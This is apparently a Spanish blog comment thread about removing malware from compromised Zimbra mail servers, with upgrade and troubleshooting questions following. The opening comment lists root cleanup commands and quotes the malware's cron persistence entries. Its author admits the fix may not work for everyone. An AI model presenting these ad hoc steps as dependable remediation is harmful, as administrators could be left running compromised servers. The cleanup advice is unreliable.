Estuve haciendo un trabajo de detective para ver como funciona el virus durante buen tiempo
aquí una pequeña solución (dudo que funcione para todos)
Paso 1
Detener todo el zimbra.
su – zimbra
zmcontrol stop
Paso 2
en modo root
ps faux (veran que tiene dos procesos que no murieron al detener zimbra “/opt/zimbra/lib/zmiostat” y “/opt/zimbra/lib/zmcheckexpiredcerts”)
detener ñps procesos con
kill -6 PID (el pid es el numero del proceso esta al costado derecho de la palabra zimbra)
Paso 3
Eliminar ambos ficheros de la carpeta /lib
rm /opt/zimbra/lib/zmcheckexpiredcerts
rm /opt/zimbra/lib/zmiostat
Eliminar ficheros de la carpeta /tmp
rm /tmp/cbstat.pid
rm /tmp/zmcheckexpiredcerts.pid
y todos los archivos con letras aleatorias ejemplo ” N5OH3XaCH_ ”
Elimina todos los ficheros “*.tmp” de la carpeta /opt/zimbra/data/tmp/
Paso 4
Aplicar permisos a la carpeta TMP (esto soluciona el problema de adjuntar archivos al correo)
chmod 755 /opt/zimbra/data/tmp/
chmod 755 /opt/zimbra/data/tmp/upload/
Paso 5
Tienes que quitar cualquier tarea que ejecute procesos de modificación de permisos y inyeccion de archivos
dirígete al archivo
vim var/spool/cron/zimbra (quita estos parrafos por lo general estan al ultimo)
” */30 * * * * /opt/zimbra/log/zmswatcher ”
” */60 * * * * /opt/zimbra/lib/zmcheckexpiredcerts ”
vim /tmp/crontab.zimbra
” */30 * * * * /opt/zimbra/log/zmswatcher ”
” */60 * * * * /opt/zimbra/lib/zmcheckexpiredcerts ” (si en caso no tienes esas lineas en ese archivo perfecto)
Paso 6
Aplica el parche de seguridad si en caso no lo aplicaste o vuelve a aplicarlo.
reinicia tu servidor
Inicia el zimbra
su – zimbra
zmcontrol start
Excelente POST.
Tengo: Release 8.8.10_GA_3039.RHEL7_64_20180928094617 RHEL7_64 FOSS edition, Patch 8.8.10_P5.
Si quiero llevarlo a la ultima pero del mismo release 8.8.10 (para que no sea tan traumatico) Puedo utilizar: la ultima imagen descargada de la web?
Hola Jorge muchas gracias por tu aporte, de antemano te agradecería que me pudieras ayudar, he actualizado mi zimbra a la versión 8.8.11 y todo parecía que iba bien pero luego de los minutos me di cuenta que no recibe ni envía correos y cuando me voy a la cola encuentro esto:
Motivo: delivery temporarily suspended lost connection with 127.0.0.1 while sending rcpt to
esto tiene el servicio detenido y ya no se que hacer, he buscado información de todo tipo.
me podrías ayudar??
Hola Jorge, buen post, no logro encontrar el Patchc13 para Zimbra Collaboration, alguna URL para poder descargarla o si la tienes me la puedes enviar al e-mail porfv. gracias de antemano.
Hola, entendí que hay que hacer reinstalación ,pero como algunos indicaban de momento necesito solucionar lo de adjuntar archivos, probé con esto: chmod 0775 /opt/zimbra/data/tmp/upload
pero no me ha funcionado, de antemano gracias por la ayuda.
Hola Jorge, gracias por tu ayuda. Te comento que hemos actualizado a la version 8.7.11 pero al iniciar los servicios el zmmailboxdctl inicia pero despues de unos segundos se detiene. Revisando el log (zmmailboxd.out) aparece lo siguiente:
/opt/zimbra/jetty-distribution-9.3.5.v20151012/webapps/service/,STARTING}{/service} has uncovered http methods for path: /
Fatal error: terminating: Failed to loadLibrary(zimbra-native)
java.lang.UnsatisfiedLinkError: no zimbra-native in java.library.path
Espero que me puedas ayudar para iniciar el servidor y tratar de recuperar los contactos, calendarios y buzones dado que ya esta operando un nuevo servidor.
Saludos
Gracias Jorge por tu ayuda.
Tengo una duda, para migrar con Zextras…es realmente gratis esta herramienta y me servirá para pasar de versión 8,5 a la última disponible?
gracias
Saludos, no limite, esto quiere decir que puedes lanzar una migración completa al nuevo server, SIN CAMBIAR AUN EL MX, y cuando termine que tardara, lanzar la ultima migración incremental y cambiar el MX.
Lo único que piden es que no tardes mas de 30 días en hacer todo esto, ya que un backup de hace 31 días no puedes importarlo
Estimado el día de hoy tengo el inconveniente que me sale este error:
Prohibido
No tienes suficientes permisos para acceder al recurso solicitado en el servidor.
Inténtalo de nuevo más tarde.
ERROR: 403
talvez me puedes ayudar para resolver este inconveniente.
Gracias por tu ayuda
Saludos, los logs son un buen lugar para empezar a hacer debug, ademas, si tienes una de las versiones no parcheadas, seguro es el ransomware, hay varios procesos para limpiarlo, echa un vistazo a todo lo aquí escrito.
un saludo
Me puedes ayudar a que se debe el error indicado ya que realize los pasos aqui descritos y me sale el mismo error tal paraeceria que está cambiado un permiso para una carpeta o archivo que permite mostrar la carpeta de usuario y loguin me puedes ayudar coneso por favor
Saludos, seguramente el ataque haya mutado, y sea mas sofisticado, como menciono, descarga Zextras Migration, instala un nuevo server, y mueve los datos de uno a otro.
un saludo
Por algún motivo hoy mi servidor no carga el entorno gráfico, por lo que los usuarios no pueden acceder al correo a través de la web. Revise y el MTA esta enviando y recibiendo normalmente pero no hay caso con la parte gráfica, alguien sabe que puede estar pasando?
Saludos, solo tu puedes saberlo, mirando en los logs, sabiendo que versión tienes de Zimbra, y si esta desactualizada 99% seguro sea este problema, analiza bien los logs, o mejor aun, crea un nuevo server con la ultima versión de Zimbra y mueve todos los usuarios con Zextras Migration.
Un saludo
Hola, desde hoy y por algún motivo no tengo acceso a la parte gráfica web se levanta el servicio pero no aparece nada por lo tanto quedan sin funcionamiento los usuarios y el panel de administrador. el servicio MTA envia y recibe normalmente. Me imagino es el ransomware, pero alguien sabe como o donde revisar la parte web para intentar resolver, como siempre Gracias.
Problema de Upload, después de que parcharan el servidor, quedo recurrente el problema de la carpeta Upload “Adjunto de archivos” la solución que comentare ha durando un par de días hasta ahora sin que se vuelva a repetir: paso 1, crear una carpeta en la misma ruta que Upload con dueño y grupo zimbra, es decir con los mismos permisos que debería tener la carpeta upload, Paso 2, borrar la carpeta upload, paso 3 crear un enlace simbolico de upload a la nueva carpeta.. y hasta ahora funcionando. Parece tonto, pero ha dado resultado.
Gracias, un saludo
Saludos, me di a la tarea de analizar las versiones y parches con Acunetix scanner, encontre lo siguiente en una instalacion limpia.
Release 8.7.11_GA_1854.RHEL6_64_20170531151956 RHEL6_64 FOSS edition, Patch 8.7.11_P12.
BREACH attack Open
HTML form without CSRF protection Open
HTML form without CSRF protection Open
Memcached Unauthorized Access Vulnerability Open
TLS 1.0 enabled Open
Vulnerable Javascript library Open
Por lo que veo 8.7.11 P12 no veo que sea la respuesta.
Saludos Jorge,
El error de Memcached debería estar solucionado, pero lo mejor es tener el puerto bloqueado de internet hacia dentro, para las demás, creo que tendrías que escribir a [email protected] a ver si tienes suerte y te responden.
Tengo un nuevo problema, el servicio de memcached se encuentra caido, al igual que opendkim y logger. Debido a que el servicio de memcached esta caido los correos que son enviados se quedan en la bandeja de diferidos y tengo que volver a ponerlos en cola manualmente desde el Administrador de Zimbra.Alguien a podido solucionar este tipo de problemas.
Ya he reiniciado el servidor se levanta unos minutos y vuelve a deshabilitarse el memcached
Estoy en el proceso de migración de mi servidor Zimbra, pero hasta poder hacerlo quisiera solventar este conconveniente. Gracias por tu ayuda
Hola Jorge, tengo un problema. Porque me sale error 403 Prohibido cuando intento ingresar por la interfaz web (tambien por el interfaz web admin). todos los servicios estan corriendo bien.
Hola Jorge, tengo la versión de Zimbra instalada 8.8.6 en ubuntu-16.04.6-server, funcionaba bien desde mayo de este año, pero recientemente al levantar el servicio de zimbra tumba la internet del servidor. Si paralizo zimbra se activa automático la internet. Hize formato del servidor e instale todo de nuevo pero el problema persiste. Que podría ser?.
Gracias de antemano.
En la actulizacon de la versión 8.8.15 patch2 del 30/9 acaba sin errores al entrar en la https:\ip:7071 carga pero aparece la pagina en blanco, se puede acceder al webmail pero al clicar sobre preferencias aparece un error “Error de script: TzMsg is not defined – Startup1_1_all.js:4059” al acceder por Ajax si accedo por html no aparece el error.
¿alguna idea porfavor?
Parece que es un problema conocido – http://forums.zimbra.org/viewtopic.php?f=13&t=67071&sid=4be8f006015cdcd1d31af6f1b084bce1 lo miro y saco blog
Hermanos buenas noches necesito una licencia de Vmware Vcenter server por favor desde Cuba no puedo tener acceso a ella.Gracias de antemano
Hola Jorge, gran aporte, tengo un problema no se si puede ser por la vulnerabilidad, me pasa que al copiar imágenes al webmail llega al remitente solo texto y no la imagen puesta en el cuerpo del correo, algún consejo ??
Gracias por tu atención
Hola Jorge, tengo una duda y me gustaría saber si me puedes ayudar, tengo la versión 8.8.15, de casualidad sabes si es posible inactivar o inhabilitar los adjuntos para el tráfico de mi dominio, es decir que para otros dominios yo pueda enviar y recibir adjuntos pero entre cuentas de mi propio dominio no se pueda adjuntar archivos. Gracias, espero puedas aclarar mi duda, saludos.